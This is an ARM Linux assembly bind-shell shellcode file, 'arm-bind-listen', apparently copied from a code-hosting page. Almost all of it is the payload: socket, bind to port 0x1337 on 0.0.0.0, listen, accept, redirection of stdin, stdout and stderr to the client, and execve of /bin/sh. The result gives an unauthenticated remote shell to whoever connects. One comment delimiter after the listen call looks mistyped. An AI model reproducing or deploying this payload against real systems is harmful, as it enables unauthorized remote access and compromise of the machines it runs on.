113 lines
No EOL
2.2 KiB
NASM
113 lines
No EOL
2.2 KiB
NASM
/*
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* Title: arm-bind-listen
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* Brief: Bind a shell to port 0x1337 on any local address and
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* wait for connections
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* Author: Daniel Godas-Lopez <gmail account dgodas>
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*/
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/*
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soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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*/
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mov %r0, $2 /* AF_INET */
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mov %r1, $1 /* SOCK_STREAM */
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mov %r2, $6 /* IPPRTOTO_TCP */
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push {%r0, %r1, %r2}
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mov %r0, $1 /* socket */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $12
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mov %r6, %r0 /* r6 = soc_des */
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/*
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bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
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*/
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.if 0 /* r0 == r6 already */
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mov %r0, %r6 /* soc_des */
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.endif
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mov %r1, $0x37
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mov %r7, $0x13
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mov %r1, %r1, lsl $24
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add %r1, %r7, lsl $16
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add %r1, $2 /* port = 0x1337, family = 2 (AF_INET) */
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sub %r2, %r2, %r2 /* addr = 0.0.0.0 */
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push {%r1, %r2}
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mov %r1, %sp /* pointer to sockaddr_in */
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mov %r2, $16 /* sizeof(struct sockaddr_in) */
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push {%r0, %r1, %r2}
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mov %r0, $2 /* bind */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $20
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/*
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listen(soc_des, 1);
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/*
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mov %r1, $1 /* backlog (see man 2 listen) */
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mov %r0, %r6 /* soc_des */
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push {%r0, %r1}
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mov %r0, $4 /* listen */
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mov %r1, %sp
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svc 0x00900066
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add %sp, $8
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/*
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soc_cli = accept(soc_des, 0, 0);
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*/
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mov %r0, %r6 /* soc_des */
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sub %r1, %r1, %r1
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sub %r2, %r2, %r2
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push {%r0, %r1, %r2}
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mov %r0, $5 /* accept */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $12
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mov %r6, %r0 /* r6 = soc_cli */
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/*
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dup2(soc_cli,0);
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dup2(soc_cli,1);
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dup2(soc_cli,2);
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*/
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mov %r1, $2
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1: mov %r0, %r6
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svc 0x0090003f
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subs %r1, %r1, $1
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bpl 1b
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/*
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execve("/bin/sh", parms, env);
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*/
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sub %r1, %sp, $4 /* argv[0] = "sh" */
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sub %r2, %r2, %r2 /* argv[1] = 0x00000000 */
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mov %r3, $0x2f
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mov %r7, $0x62
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add %r3, %r7, lsl $8
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mov %r7, $0x69
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add %r3, %r7, lsl $16
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mov %r7, $0x6e
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add %r3, %r7, lsl $24 /* '/' 'b' 'i' 'n' */
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mov %r4, $0x2f
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mov %r7, $0x73
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add %r4, %r7, lsl $8
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mov %r7, $0x68
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add %r4, %r7, lsl $16 /* '/' 's' 'h' 0x00 */
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mov %r5, $0x73
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mov %r7, $0x68
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add %r5, %r7, lsl $8 /* 's' 'h' 0x00 0x00 */
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push {%r1, %r2, %r3, %r4, %r5}
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add %r0, %sp, $8 /* filename ptr */
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add %r1, %sp, $0 /* argv ptr */
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add %r2, %sp, $4 /* env ptr */
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svc 0x0090000b |